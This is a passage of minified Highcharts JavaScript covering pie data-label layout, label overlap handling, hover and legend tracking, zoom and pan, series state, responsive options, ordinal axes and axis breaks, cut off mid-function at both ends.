r=this,ut=r.data,e,d=r.chart,a=r.options.dataLabels,p=t(a.connectorPadding,10),rt=t(a.connectorWidth,1),ot=d.plotWidth,ft=d.plotHeight,c,it=r.center,b=it[2]/2,tt=it[1],l,g,y,k,et=[[],[]],v,o,w,nt,s=[0,0,0,0];r.visible&&(a.enabled||r._hasPointLabels)&&(i(ut,function(n){n.dataLabel&&n.visible&&n.dataLabel.shortened&&(n.dataLabel.attr({width:"auto"}).css({width:"auto",textOverflow:"clip"}),n.dataLabel.shortened=!1)}),u.prototype.drawDataLabels.apply(r),i(ut,function(n){n.dataLabel&&n.visible&&(et[n.half].push(n),n.dataLabel._pos=null)}),i(et,function(u,h){var c,ut,st=u.length,rt=[],et;if(st)for(r.sortByAngle(u,h-.5),0<r.maxLabelDistance&&(c=Math.max(0,tt-b-r.maxLabelDistance),ut=Math.min(tt+b+r.maxLabelDistance,d.plotHeight),i(u,function(n){0<n.labelDistance&&n.dataLabel&&(n.top=Math.max(0,tt-b-n.labelDistance),n.bottom=Math.min(tt+b+n.labelDistance,d.plotHeight),et=n.dataLabel.getBBox().height||21,n.positionsIndex=rt.push({target:n.labelPos[1]-n.top+et/2,size:et,rank:n.y})-1)}),n.distribute(rt,ut+et-c)),nt=0;nt<st;nt++)e=u[nt],ut=e.positionsIndex,y=e.labelPos,l=e.dataLabel,w=!1===e.visible?"hidden":"inherit",o=c=y[1],rt&&f(rt[ut])&&(void 0===rt[ut].pos?w="hidden":(k=rt[ut].size,o=e.top+rt[ut].pos)),delete e.positionIndex,v=a.justify?it[0]+(h?-1:1)*(b+e.labelDistance):r.getX(o<e.top+2||o>e.bottom-2?c:o,h,e),l._attr={visibility:w,align:y[6]},l._pos={x:v+a.x+({left:p,right:-p}[y[6]]||0),y:o+a.y-10},y.x=v,y.y=o,t(a.crop,!0)&&(g=l.getBBox().width,c=null,v-g<p?(c=Math.round(g-v+p),s[3]=Math.max(c,s[3])):v+g>ot-p&&(c=Math.round(v+g-ot+p),s[1]=Math.max(c,s[1])),0>o-k/2?s[0]=Math.max(Math.round(-o+k/2),s[0]):o+k/2>ft&&(s[2]=Math.max(Math.round(o+k/2-ft),s[2])),l.sideOverflow=c)}),0===h(s)||this.verifyDataLabelOverflow(s))&&(this.placeDataLabels(),rt&&i(this.points,function(n){var t;c=n.connector,(l=n.dataLabel)&&l._pos&&n.visible&&0<n.labelDistance?(w=l._attr.visibility,(t=!c)&&(n.connector=c=d.renderer.path().addClass("highcharts-data-label-connector  highcharts-color-"+n.colorIndex).add(r.dataLabelsGroup),c.attr({"stroke-width":rt,stroke:a.connectorColor||n.color||"#666666"})),c[t?"attr":"animate"]({d:r.connectorPath(n.labelPos)}),c.attr("visibility",w)):c&&(n.connector=c.destroy())}))},r.pie.prototype.connectorPath=function(n){var r=n.x,i=n.y;return t(this.options.dataLabels.softConnector,!0)?["M",r+("left"===n[6]?5:-5),i,"C",r,i,2*n[2]-n[4],2*n[3]-n[5],n[2],n[3],"L",n[4],n[5]]:["M",r+("left"===n[6]?5:-5),i,"L",n[2],n[3],"L",n[4],n[5]]},r.pie.prototype.placeDataLabels=function(){i(this.points,function(n){var t=n.dataLabel;t&&n.visible&&((n=t._pos)?(t.sideOverflow&&(t._attr.width=t.getBBox().width-t.sideOverflow,t.css({width:t._attr.width+"px",textOverflow:"ellipsis"}),t.shortened=!0),t.attr(t._attr),t[t.moved?"animate":"attr"](n),t.moved=!0):t&&t.attr({y:-9999}))},this)},r.pie.prototype.alignDataLabel=a,r.pie.prototype.verifyDataLabelOverflow=function(n){var i=this.center,u=this.options,e=u.center,r=u.minSize||80,t,f=null!==u.size;return f||(null!==e[0]?t=Math.max(i[2]-Math.max(n[1],n[3]),r):(t=Math.max(i[2]-n[1]-n[3],r),i[0]+=(n[3]-n[1])/2),null!==e[1]?t=Math.max(Math.min(t,i[2]-Math.max(n[0],n[2])),r):(t=Math.max(Math.min(t,i[2]-n[0]-n[2]),r),i[1]+=(n[0]-n[2])/2),t<i[2]?(i[2]=t,i[3]=Math.min(y(u.innerSize||0,t),t),this.translate(i),this.drawDataLabels&&this.drawDataLabels()):f=!0),f}),r.column&&(r.column.prototype.alignDataLabel=function(n,i,r,f,e){var c=this.chart.inverted,l=n.series,s=n.dlBox||n.shapeArgs,h=t(n.below,n.plotY>t(this.translatedThreshold,l.yAxis.len)),a=t(r.inside,!!this.options.stacking);s&&(f=o(s),0>f.y&&(f.height+=f.y,f.y=0),s=f.y+f.height-l.yAxis.len,0<s&&(f.height-=s),c&&(f={x:l.yAxis.len-f.y-f.height,y:l.xAxis.len-f.x-f.width,width:f.height,height:f.width}),a||(c?(f.x+=h?0:f.width,f.width=0):(f.y+=h?f.height:0,f.height=0))),r.align=t(r.align,!c||a?"center":h?"right":"left"),r.verticalAlign=t(r.verticalAlign,c||a?"middle":h?"top":"bottom"),u.prototype.alignDataLabel.call(this,n,i,r,f,e),n.isLabelJustified&&n.contrastColor&&n.dataLabel.css({color:n.contrastColor})})}(t),function(n){var r=n.Chart,t=n.each,i=n.objectEach,u=n.pick;n=n.addEvent,n(r.prototype,"render",function(){var n=[];t(this.labelCollectors||[],function(t){n=n.concat(t())}),t(this.yAxis||[],function(t){t.options.stackLabels&&!t.options.stackLabels.allowOverlap&&i(t.stacks,function(t){i(t,function(t){n.push(t.label)})})}),t(this.series||[],function(i){var r=i.options.dataLabels,f=i.dataLabelCollections||["dataLabel"];(r.enabled||i._hasPointLabels)&&!r.allowOverlap&&i.visible&&t(f,function(r){t(i.points,function(t){t[r]&&(t[r].labelrank=u(t.labelrank,t.shapeArgs&&t.shapeArgs.height),n.push(t[r]))})})}),this.hideOverlappingLabels(n)}),r.prototype.hideOverlappingLabels=function(n){for(var c=n.length,r,i,u,o,l,h,s,e,a=function(n,t,i,r,u,f,e,o){return!(u>n+i||u+e<n||f>t+r||f+o<t)},f=0;f<c;f++)(r=n[f])&&(r.oldOpacity=r.opacity,r.newOpacity=1,r.width||(i=r.getBBox(),r.width=i.width,r.height=i.height));for(n.sort(function(n,t){return(t.labelrank||0)-(n.labelrank||0)}),f=0;f<c;f++)for(i=n[f],r=f+1;r<c;++r)(u=n[r],i&&u&&i!==u&&i.placed&&u.placed&&0!==i.newOpacity&&0!==u.newOpacity&&(o=i.alignAttr,l=u.alignAttr,h=i.parentGroup,s=u.parentGroup,e=2*(i.box?0:i.padding||0),o=a(o.x+h.translateX,o.y+h.translateY,i.width-e,i.height-e,l.x+s.translateX,l.y+s.translateY,u.width-e,u.height-e)))&&((i.labelrank<u.labelrank?i:u).newOpacity=0);t(n,function(n){var i,t;n&&(t=n.newOpacity,n.oldOpacity!==t&&n.placed&&(t?n.show(!0):i=function(){n.hide()},n.alignAttr.opacity=t,n[n.isOld?"animate":"attr"](n.alignAttr,null,i)),n.isOld=!0)})}}(t),function(n){var s=n.addEvent,d=n.Chart,k=n.createElement,a=n.css,l=n.defaultOptions,y=n.defaultPlotOptions,t=n.each,e=n.extend,i=n.fireEvent,c=n.hasTouch,o=n.inArray,b=n.isObject,g=n.Legend,h=n.merge,r=n.pick,w=n.Point,v=n.Series,u=n.seriesTypes,p=n.svg,f;f=n.TrackerMixin={drawTrackerPoint:function(){var n=this,i=n.chart.pointer,r=function(n){var t=i.getPointFromEvent(n);void 0!==t&&(i.isDirectTouch=!0,t.onMouseOver(n))};t(n.points,function(n){n.graphic&&(n.graphic.element.point=n),n.dataLabel&&(n.dataLabel.div?n.dataLabel.div.point=n:n.dataLabel.element.point=n)}),n._hasTracking||(t(n.trackerGroups,function(t){if(n[t]){n[t].addClass("highcharts-tracker").on("mouseover",r).on("mouseout",function(n){i.onTrackerMouseOut(n)});if(c)n[t].on("touchstart",r);n.options.cursor&&n[t].css(a).css({cursor:n.options.cursor})}}),n._hasTracking=!0)},drawTrackerGraph:function(){var n=this,o=n.options,f=o.trackByArea,r=[].concat(f?n.areaPath:n.graphPath),s=r.length,u=n.chart,v=u.pointer,y=u.renderer,e=u.options.tooltip.snap,l=n.tracker,i,h=function(){u.hoverSeries!==n&&n.onMouseOver()},a="rgba(192,192,192,"+(p?.0001:.002)+")";if(s&&!f)for(i=s+1;i--;)"M"===r[i]&&r.splice(i+1,0,r[i+1]-e,r[i+2],"L"),(i&&"M"===r[i]||i===s)&&r.splice(i,0,"L",r[i-2]+e,r[i-1]);l?l.attr({d:r}):n.graph&&(n.tracker=y.path(r).attr({"stroke-linejoin":"round",visibility:n.visible?"visible":"hidden",stroke:a,fill:f?a:"none","stroke-width":n.graph.strokeWidth()+(f?0:2*e),zIndex:2}).add(n.group),t([n.tracker,n.markerGroup],function(n){n.addClass("highcharts-tracker").on("mouseover",h).on("mouseout",function(n){v.onTrackerMouseOut(n)});if(o.cursor&&n.css({cursor:o.cursor}),c)n.on("touchstart",h)}))}},u.column&&(u.column.prototype.drawTracker=f.drawTrackerPoint),u.pie&&(u.pie.prototype.drawTracker=f.drawTrackerPoint),u.scatter&&(u.scatter.prototype.drawTracker=f.drawTrackerPoint),e(g.prototype,{setItemEvents:function(n,t,r){var u=this,e=u.chart.renderer.boxWrapper,f="highcharts-legend-"+(n.series?"point":"series")+"-active";(r?t:n.legendGroup).on("mouseover",function(){n.setState("hover"),e.addClass(f),t.css(u.options.itemHoverStyle)}).on("mouseout",function(){t.css(h(n.visible?u.itemStyle:u.itemHiddenStyle)),e.removeClass(f),n.setState()}).on("click",function(t){var r=function(){n.setVisible&&n.setVisible()};t={browserEvent:t},n.firePointEvent?n.firePointEvent("legendItemClick",t,r):i(n,"legendItemClick",t,r)})},createCheckboxForItem:function(n){n.checkbox=k("input",{type:"checkbox",checked:n.selected,defaultChecked:n.selected},this.options.itemCheckboxStyle,this.chart.container),s(n.checkbox,"click",function(t){i(n.series||n,"checkboxClick",{checked:t.target.checked,item:n},function(){n.select()})})}}),l.legend.itemStyle.cursor="pointer",e(d.prototype,{showResetZoom:function(){var t=this,u=l.lang,n=t.options.chart.resetZoomButton,r=n.theme,i=r.states,f="chart"===n.relativeTo?null:"plotBox";this.resetZoomButton=t.renderer.button(u.resetZoom,null,null,function(){t.zoomOut()},r,i&&i.hover).attr({align:n.position.align,title:u.resetZoomTitle}).addClass("highcharts-reset-zoom").add().align(n.position,!1,f)},zoomOut:function(){var n=this;i(n,"selection",{resetSelection:!0},function(){n.zoom()})},zoom:function(n){var f,e=this.pointer,u=!1,i;!n||n.resetSelection?(t(this.axes,function(n){f=n.zoom()}),e.initiated=!1):t(n.xAxis.concat(n.yAxis),function(n){var t=n.axis;e[t.isXAxis?"zoomX":"zoomY"]&&(f=t.zoom(n.min,n.max),t.displayBtn&&(u=!0))}),i=this.resetZoomButton,u&&!i?this.showResetZoom():!u&&b(i)&&(this.resetZoomButton=i.destroy()),f&&this.redraw(r(this.options.chart.animation,n&&n.animation,100>this.pointCount))},pan:function(n,i){var r=this,f=r.hoverPoints,u;f&&t(f,function(n){n.setState()}),t("xy"===i?[1,0]:[1],function(t){t=r[t?"xAxis":"yAxis"][0];var c=t.horiz,l=n[c?"chartX":"chartY"],c=c?"mouseDownX":"mouseDownY",e=r[c],f=(t.pointRange||0)/2,o=t.getExtremes(),i=t.toValue(e-l,!0)+f,f=t.toValue(e+t.len-l,!0)-f,h=f<i,e=h?f:i,i=h?i:f,f=Math.min(o.dataMin,t.toValue(t.toPixels(o.min)-t.minPixelPadding)),h=Math.max(o.dataMax,t.toValue(t.toPixels(o.max)+t.minPixelPadding)),s;s=f-e,0<s&&(i+=s,e=f),s=i-h,0<s&&(i=h,e-=s),t.series.length&&e!==o.min&&i!==o.max&&(t.setExtremes(e,i,!1,!1,{trigger:"pan"}),u=!0),r[c]=l}),u&&r.redraw(!1),a(r.container,{cursor:"move"})}}),e(w.prototype,{select:function(n,i){var u=this,f=u.series,e=f.chart;n=r(n,!u.selected),u.firePointEvent(n?"select":"unselect",{accumulate:i},function(){u.selected=u.options.selected=n,f.options.data[o(u,f.data)]=u.options,u.setState(n&&"select"),i||t(e.getSelectedPoints(),function(n){n.selected&&n!==u&&(n.selected=n.options.selected=!1,f.options.data[o(n,f.data)]=n.options,n.setState(""),n.firePointEvent("unselect"))})})},onMouseOver:function(n){var i=this.series.chart,t=i.pointer;n=n?t.normalize(n):t.getChartCoordinatesFromPoint(this,i.inverted),t.runPointActions(n,this)},onMouseOut:function(){var n=this.series.chart;this.firePointEvent("mouseOut"),t(n.hoverPoints||[],function(n){n.setState()}),n.hoverPoints=n.hoverPoint=null},importEvents:function(){if(!this.hasImportedEvents){var t=this,i=h(t.series.options.point,t.options).events;t.events=i,n.objectEach(i,function(n,i){s(t,i,n)}),this.hasImportedEvents=!0}},setState:function(n,t){var c=Math.floor(this.plotX),w=this.plotY,i=this.series,v=i.options.states[n]||{},f=y[i.type].marker&&i.options.marker,b=f&&!1===f.enabled,a=f&&f.states&&f.states[n]||{},k=!1===a.enabled,u=i.stateMarkerGraphic,l=this.marker||{},h=i.chart,o=i.halo,s,p=f&&i.markerAttribs;n=n||"",n===this.state&&!t||this.selected&&"select"!==n||!1===v.enabled||n&&(k||b&&!1===a.enabled)||n&&l.states&&l.states[n]&&!1===l.states[n].enabled||(p&&(s=i.markerAttribs(this,n)),this.graphic?(this.state&&this.graphic.removeClass("highcharts-point-"+this.state),n&&this.graphic.addClass("highcharts-point-"+n),this.graphic.animate(i.pointAttribs(this,n),r(h.options.chart.animation,v.animation)),s&&this.graphic.animate(s,r(h.options.chart.animation,a.animation,f.animation)),u&&u.hide()):(n&&a&&(f=l.symbol||i.symbol,u&&u.currentSymbol!==f&&(u=u.destroy()),u?u[t?"animate":"attr"]({x:s.x,y:s.y}):f&&(i.stateMarkerGraphic=u=h.renderer.symbol(f,s.x,s.y,s.width,s.height).add(i.markerGroup),u.currentSymbol=f),u&&u.attr(i.pointAttribs(this,n))),u&&(u[n&&h.isInsidePlot(c,w,h.inverted)?"show":"hide"](),u.element.point=this)),(c=v.halo)&&c.size?(o||(i.halo=o=h.renderer.path().add((this.graphic||u).parentGroup)),o[t?"animate":"attr"]({d:this.haloPath(c.size)}),o.attr({"class":"highcharts-halo highcharts-color-"+r(this.colorIndex,i.colorIndex)}),o.point=this,o.attr(e({fill:this.color||i.color,"fill-opacity":c.opacity,zIndex:-1},c.attributes))):o&&o.point&&o.point.haloPath&&o.animate({d:o.point.haloPath(0)}),this.state=n)},haloPath:function(n){return this.series.chart.renderer.symbols.circle(Math.floor(this.plotX)-n,this.plotY-n,2*n,2*n)}}),e(v.prototype,{onMouseOver:function(){var t=this.chart,n=t.hoverSeries;n&&n!==this&&n.onMouseOut(),this.options.events.mouseOver&&i(this,"mouseOver"),this.setState("hover"),t.hoverSeries=this},onMouseOut:function(){var u=this.options,t=this.chart,n=t.tooltip,r=t.hoverPoint;t.hoverSeries=null,r&&r.onMouseOut(),this&&u.events.mouseOut&&i(this,"mouseOut"),!n||this.stickyTracking||n.shared&&!this.noSharedTooltip||n.hide(),this.setState()},setState:function(n){var i=this,e=i.options,o=i.graph,u=e.states,f=e.lineWidth,e=0;if(n=n||"",i.state!==n&&(t([i.group,i.markerGroup,i.dataLabelsGroup],function(t){t&&(i.state&&t.removeClass("highcharts-series-"+i.state),n&&t.addClass("highcharts-series-"+n))}),i.state=n,!u[n]||!1!==u[n].enabled)&&(n&&(f=u[n].lineWidth||f+(u[n].lineWidthPlus||0)),o&&!o.dashstyle))for(f={"stroke-width":f},o.animate(f,r(i.chart.options.chart.animation,u[n]&&u[n].animation));i["zone-graph-"+e];)i["zone-graph-"+e].attr(f),e+=1},setVisible:function(n,r){var u=this,f=u.chart,h=u.legendItem,e,s=f.options.chart.ignoreHiddenSeries,o=u.visible;e=(u.visible=n=u.options.visible=u.userOptions.visible=void 0===n?!o:n)?"show":"hide",t(["group","dataLabelsGroup","markerGroup","tracker","tt"],function(n){u[n]&&u[n][e]()}),(f.hoverSeries===u||(f.hoverPoint&&f.hoverPoint.series)===u)&&u.onMouseOut(),h&&f.legend.colorizeItem(u,n),u.isDirty=!0,u.options.stacking&&t(f.series,function(n){n.options.stacking&&n.visible&&(n.isDirty=!0)}),t(u.linkedSeries,function(t){t.setVisible(n,!1)}),s&&(f.isDirtyBox=!0),!1!==r&&f.redraw(),i(u,e)},show:function(){this.setVisible(!0)},hide:function(){this.setVisible(!1)},select:function(n){this.selected=n=void 0===n?!this.selected:n,this.checkbox&&(this.checkbox.checked=n),i(this,n?"select":"unselect")},drawTracker:f.drawTrackerGraph})}(t),function(n){var i=n.Chart,f=n.each,e=n.inArray,o=n.isArray,r=n.isObject,t=n.pick,u=n.splat;i.prototype.setResponsive=function(t){var e=this.options.responsive,i=[],u=this.currentResponsive,r;e&&e.rules&&f(e.rules,function(r){void 0===r._id&&(r._id=n.uniqueKey()),this.matchResponsiveRule(r,i,t)},this),r=n.merge.apply(0,n.map(i,function(t){return n.find(e.rules,function(n){return n._id===t}).chartOptions})),i=i.toString()||void 0,i!==(u&&u.ruleIds)&&(u&&this.update(u.undoOptions,t),i?(this.currentResponsive={ruleIds:i,mergedOptions:r,undoOptions:this.currentOptions(r)},this.update(r,t)):this.currentResponsive=void 0)},i.prototype.matchResponsiveRule=function(n,i){var r=n.condition;(r.callback||function(){return this.chartWidth<=t(r.maxWidth,Number.MAX_VALUE)&&this.chartHeight<=t(r.maxHeight,Number.MAX_VALUE)&&this.chartWidth>=t(r.minWidth,0)&&this.chartHeight>=t(r.minHeight,0)}).call(this)&&i.push(n._id)},i.prototype.currentOptions=function(t){function i(t,f,s,h){var c;n.objectEach(t,function(n,t){if(!h&&-1<e(t,["series","xAxis","yAxis"]))for(n=u(n),s[t]=[],c=0;c<n.length;c++)f[t][c]&&(s[t][c]={},i(n[c],f[t][c],s[t][c],h+1));else r(n)?(s[t]=o(n)?[]:{},i(n,f[t]||{},s[t],h+1)):s[t]=f[t]||null})}var f={};return i(t,this.options,f,0),f}}(t),function(n){var l=n.addEvent,t=n.Axis,c=n.Chart,o=n.css,f=n.dateFormat,e=n.defined,r=n.each,a=n.extend,h=n.noop,u=n.pick,s=n.timeUnits,i=n.wrap;i(n.Series.prototype,"init",function(n){var t;n.apply(this,Array.prototype.slice.call(arguments,1)),(t=this.xAxis)&&t.options.ordinal&&l(this,"updatedData",function(){delete t.ordinalIndex})}),i(t.prototype,"getTimeTicks",function(n,t,i,r,u,o,h,c){var a=0,l,p,b={},y,d,g,v=[],nt=-Number.MAX_VALUE,k=this.options.tickPixelInterval,w;if(!this.options.ordinal&&!this.options.breaks||!o||3>o.length||void 0===i)return n.call(this,t,i,r,u);for(d=o.length,l=0;l<d;l++){if(g=l&&o[l-1]>r,o[l]<i&&(a=l),l===d-1||o[l+1]-o[l]>5*h||g){if(o[l]>nt){for(p=n.call(this,t,o[a],o[l],u);p.length&&p[0]<=nt;)p.shift();p.length&&(nt=p[p.length-1]),v=v.concat(p)}a=l+1}if(g)break}if(n=p.info,c&&n.unitRange<=s.hour){for(l=v.length-1,a=1;a<l;a++)f("%d",v[a])!==f("%d",v[a-1])&&(b[v[a]]="day",y=!0);y&&(b[v[0]]="day"),n.higherRanks=b}if(v.info=n,c&&e(k)){for(c=n=v.length,l=[],y=[];c--;)a=this.translate(v[c]),w&&(y[c]=w-a),l[c]=w=a;for(y.sort(),y=y[Math.floor(y.length/2)],y<.6*k&&(y=null),c=v[n-1]>r?n-1:n,w=void 0;c--;)a=l[c],r=Math.abs(w-a),w&&r<.8*k&&(null===y||r<.8*y)?(b[v[c]]&&!b[v[c+1]]?(r=c+1,w=a):r=c,v.splice(r,1)):w=a}return v}),a(t.prototype,{beforeSetTickPositions:function(){var f,n=[],h=!1,t,c=this.getExtremes(),l=c.min,s=c.max,o,a=this.isXAxis&&!!this.options.breaks,c=this.options.ordinal,i=Number.MAX_VALUE,v=this.chart.options.chart.ignoreHiddenSeries;if(t="highcharts-navigator-xaxis"===this.options.className,!this.options.overscroll||this.max!==this.dataMax||this.chart.mouseIsDown&&!t||this.eventArgs&&(!this.eventArgs||"navigator"===this.eventArgs.trigger)||(this.max+=this.options.overscroll,!t&&e(this.userMin)&&(this.min+=this.options.overscroll)),c||a){if(r(this.series,function(t,r){if(!(v&&!1===t.visible||!1===t.takeOrdinalPosition&&!a)&&(n=n.concat(t.processedXData),f=n.length,n.sort(function(n,t){return n-t}),i=Math.min(i,u(t.closestPointRange,i)),f))for(r=f-1;r--;)n[r]===n[r+1]&&n.splice(r,1)}),f=n.length,2<f){for(t=n[1]-n[0],o=f-1;o--&&!h;)n[o+1]-n[o]!==t&&(h=!0);!this.options.keepOrdinalPadding&&(n[0]-l>t||s-n[n.length-1]>t)&&(h=!0)}else this.options.overscroll&&(2===f?i=n[1]-n[0]:1===f?(i=this.options.overscroll,n=[n[0],n[0]+i]):i=this.overscrollPointsRange);h?(this.options.overscroll&&(this.overscrollPointsRange=i,n=n.concat(this.getOverscrollPositions())),this.ordinalPositions=n,t=this.ordinal2lin(Math.max(l,n[0]),!0),o=Math.max(this.ordinal2lin(Math.min(s,n[n.length-1]),!0),1),this.ordinalSlope=s=(s-l)/(o-t),this.ordinalOffset=l-t*s):(this.overscrollPointsRange=u(this.closestPointRange,this.overscrollPointsRange),this.ordinalPositions=this.ordinalSlope=this.ordinalOffset=void 0)}this.isOrdinal=c&&h,this.groupIntervalFactor=null},val2lin:function(n,t){var r=this.ordinalPositions,f,i,u;if(r){for(f=r.length,i=f;i--;)if(r[i]===n){u=i;break}for(i=f-1;i--;)if(n>r[i]||0===i){n=(n-r[i])/(r[i+1]-r[i]),u=i+n;break}t=t?u:this.ordinalSlope*(u||0)+this.ordinalOffset}else t=n;return t},lin2val:function(n,t){var r=this.ordinalPositions;if(r){var f=this.ordinalSlope,e=this.ordinalOffset,i=r.length-1,u;if(t)0>n?n=r[0]:n>i?n=r[i]:(i=Math.floor(n),u=n-i);else for(;i--;)if(t=f*i+e,n>=t){f=f*(i+1)+e,u=(n-t)/(f-t);break}return void 0!==u&&void 0!==r[i]?r[i]+(u?u*(r[i+1]-r[i]):0):n}return n},getExtendedPositions:function(){var n=this,s=n.chart,u=n.series[0].currentDataGrouping,e=n.ordinalIndex,o=u?u.count+u.unitName:"raw",l=n.options.overscroll,c=n.getExtremes(),f,i;return e||(e=n.ordinalIndex={}),e[o]||(f={series:[],chart:s,getExtremes:function(){return{min:c.dataMin,max:c.dataMax+l}},options:{ordinal:!0},val2lin:t.prototype.val2lin,ordinal2lin:t.prototype.ordinal2lin},r(n.series,function(t){i={xAxis:f,xData:t.xData.slice(),chart:s,destroyGroupedData:h},i.xData=i.xData.concat(n.getOverscrollPositions()),i.options={dataGrouping:u?{enabled:!0,forced:!0,approximation:"open",units:[[u.unitName,[u.count]]]}:{enabled:!1}},t.processData.apply(i),f.series.push(i)}),n.beforeSetTickPositions.apply(f),e[o]=f.ordinalPositions),e[o]},getOverscrollPositions:function(){var u=this.options.overscroll,r=this.overscrollPointsRange,i=[],t=this.dataMax;if(n.defined(r))for(i.push(t);t<=this.dataMax+u;)t+=r,i.push(t);return i},getGroupIntervalFactor:function(n,t,i){var r,f,u;if(i=i.processedXData,f=i.length,u=[],r=this.groupIntervalFactor,!r){for(r=0;r<f-1;r++)u[r]=i[r+1]-i[r];u.sort(function(n,t){return n-t}),u=u[Math.floor(f/2)],n=Math.max(n,i[0]),t=Math.min(t,i[f-1]),this.groupIntervalFactor=r=f*u/(t-n)}return r},postProcessTickInterval:function(n){var t=this.ordinalSlope;return t?this.options.breaks?this.closestPointRange||n:n/(t/this.closestPointRange):n}}),t.prototype.ordinal2lin=t.prototype.val2lin,i(c.prototype,"pan",function(n,t){var i=this.xAxis[0],a=i.options.overscroll,w=t.chartX,c=!1;if(i.options.ordinal&&i.series.length){var u=this.mouseDownX,h=i.getExtremes(),v=h.dataMax,y=h.min,p=h.max,e=this.hoverPoints,l=i.closestPointRange||i.overscrollPointsRange,u=(u-w)/(i.translationSlope*(i.ordinalSlope||l)),f={ordinalPositions:i.getExtendedPositions()},l=i.lin2val,b=i.val2lin,s;f.ordinalPositions?1<Math.abs(u)&&(e&&r(e,function(n){n.setState()}),0>u?(e=f,s=i.ordinalPositions?i:f):(e=i.ordinalPositions?i:f,s=f),f=s.ordinalPositions,v>f[f.length-1]&&f.push(v),this.fixedRange=p-y,u=i.toFixedRange(null,null,l.apply(e,[b.apply(e,[y,!0])+u,!0]),l.apply(s,[b.apply(s,[p,!0])+u,!0])),u.min>=Math.min(h.dataMin,y)&&u.max<=Math.max(v,p)+a&&i.setExtremes(u.min,u.max,!0,!1,{trigger:"pan"}),this.mouseDownX=w,o(this.container,{cursor:"move"})):c=!0}else c=!0;c&&(a&&(i.max=i.dataMax+a),n.apply(this,Array.prototype.slice.call(arguments,1)))})}(t),function(n){function s(){return Array.prototype.slice.call(arguments,1)}function e(n){n.apply(this),this.drawBreaks(this.xAxis,["x"]),this.drawBreaks(this.yAxis,r(this.pointArrayMap,["y"]))}var r=n.pick,u=n.wrap,t=n.each,h=n.extend,c=n.isArray,f=n.fireEvent,i=n.Axis,o=n.Series;h(i.prototype,{isInBreak:function(n,t){var r=n.repeat||Infinity,i=n.from,u=n.to-n.from;return t=t>=i?(t-i)%r:r-(i-t)%r,n.inclusive?t<=u:t<u&&0!==t},isInAnyBreak:function(n,t){var f=this.options.breaks,u=f&&f.length,i,e,o;if(u){for(;u--;)this.isInBreak(f[u],n)&&(i=!0,e||(e=r(f[u].showPoints,this.isXAxis?!1:!0)));o=i&&t?i&&!e:i}return o}}),u(i.prototype,"setTickPositions",function(n){if(n.apply(this,Array.prototype.slice.call(arguments,1)),this.options.breaks){for(var i=this.tickPositions,u=this.tickPositions.info,r=[],t=0;t<i.length;t++)this.isInAnyBreak(i[t])||r.push(i[t]);this.tickPositions=r,this.tickPositions.info=u}}),u(i.prototype,"init",function(n,u,e){var o=this;e.breaks&&e.breaks.length&&(e.ordinal=!1),n.call(this,u,e),n=this.options.breaks,o.isBroken=c(n)&&!!n.length,o.isBroken&&(o.val2lin=function(n){for(var r=n,t,i=0;i<o.breakArray.length;i++)if(t=o.breakArray[i],t.to<=n)r-=t.len;else if(t.from>=n)break;else if(o.isInBreak(t,n)){r-=n-t.from;break}return r},o.lin2val=function(n){for(var t,i=0;i<o.breakArray.length&&!(t=o.breakArray[i],t.from>=n);i++)t.to<n?n+=t.len:o.isInBreak(t,n)&&(n+=t.len);return n},o.setExtremes=function(n,t,r,u,f){for(;this.isInAnyBreak(n);)n-=this.closestPointRange;for(;this.isInAnyBreak(t);)t-=this.closestPointRange;i.prototype.setExtremes.call(this,n,t,r,u,f)},o.setAxisTranslation=function(n){i.prototype.setAxisTranslation.call(this,n),n=o.options.breaks;var l=[],p=[],y=0,a,e,s=o.userMin||o.min,h=o.userMax||o.max,v=r(o.pointRangePadding,0),u,c;t(n,function(n){e=n.repeat||Infinity,o.isInBreak(n,s)&&(s+=n.to%e-s%e),o.isInBreak(n,h)&&(h-=h%e-n.from%e)}),t(n,function(n){for(u=n.from,e=n.repeat||Infinity;u-e>s;)u-=e;for(;u<s;)u+=e;for(c=u;c<h;c+=e)l.push({value:c,move:"in"}),l.push({value:c+(n.to-n.from),move:"out",size:n.breakSize})}),l.sort(function(n,t){return n.value===t.value?("in"===n.move?0:1)-("in"===t.move?0:1):n.value-t.value}),a=0,u=s,t(l,function(n){a+="in"===n.move?1:-1,1===a&&"in"===n.move&&(u=n.value),0===a&&(p.push({from:u,to:n.value,len:n.value-u-(n.size||0)}),y+=n.value-u-(n.size||0))}),o.breakArray=p,o.unitLength=h-s-y+v,f(o,"afterBreaks"),o.options.staticScale?o.transA=o.options.staticScale:o.unitLength&&(o.transA*=(h-o.min+v)/o.unitLength),v&&(o.minPixelPadding=o.transA*o.minPointOffset),o.min=s,o.max=h})}),u(o.prototype,"generatePoints",function(n){n.apply(this,s(arguments));var u=this.xAxis,f=this.yAxis,r=this.points,i,t=r.length,o=this.options.connectNulls,e;if(u&&f&&(u.options.breaks||f.options.breaks))for(;t--;)i=r[t],e=null===i.y&&!1===o,e||!u.isInAnyBreak(i.x,!0)&&!f.isInAnyBreak(i.y,!0)||(r.splice(t,1),this.data[t]&&this.data[t].destroyElements())}),n.Series.prototype.drawBreaks=function(n,i){var s=this,c=s.points,h,o,e,u;n&&t(i,function(i){h=n.breakArray||[],o=n.isXAxis?n.min:r(s.options.threshold,n.min),t(c,function(s){u=r(s["stack"+i.toUpperCase()],s[i]),t(h,function(t){e=!1,o<t.from&&u>t.to||o>t.from&&u<t.from?e="pointBreak":(o<t.from&&u>t.from&&u<t.to||o>t.from&&u>t.to&&u<t.from)&&(e="pointInBreak"),e&&f(n,e,{point:s,brk:t})})})})},n.Series.prototype.gappedPath=function(){var u=this.options.gapSize,t=this.points.slice(),i=t.length-1,f=this.yAxis,r;if(u&&0<i)for("value"!==this.options.gapUnit&&(u*=this.closestPointRange);i--;)t[i+1].x-t[i].x>u&&(r=(t[i].x+t[i+1].x)/2,t.splice(i+1,0,{isNull:!0,x:r}),this.options.stacking&&(r=f.stacks[this.stackKey][r]=new n.StackItem(f,f.options.stackLabels,!1,r,this.stack),r.total=0));return this.getGraphPath(t)},u(n.seriesTypes.column.prototype,"drawPoints",e),u(n.Series.prototype,"drawPoints",e)}(t),function(n){var tt=n.arrayMax,a=n.arrayMin,o=n.Axis,k=n.defaultPlotOptions,b=n.defined,u=n.each,w=n.extend,d=n.format,i=n.isNumber,h=n.merge,s=n.pick,nt=n.Point,g=n.Tooltip,e=n.wrap,r=n.Series.prototype,v=r.processData,p=r.generatePoints,y=r.destroy,c={approximation:"average",groupPixelWidth:2,dateTimeLabelFormats:{millisecond:["%A, %b %e, %H:%M:%S.%L","%A, %b %e, 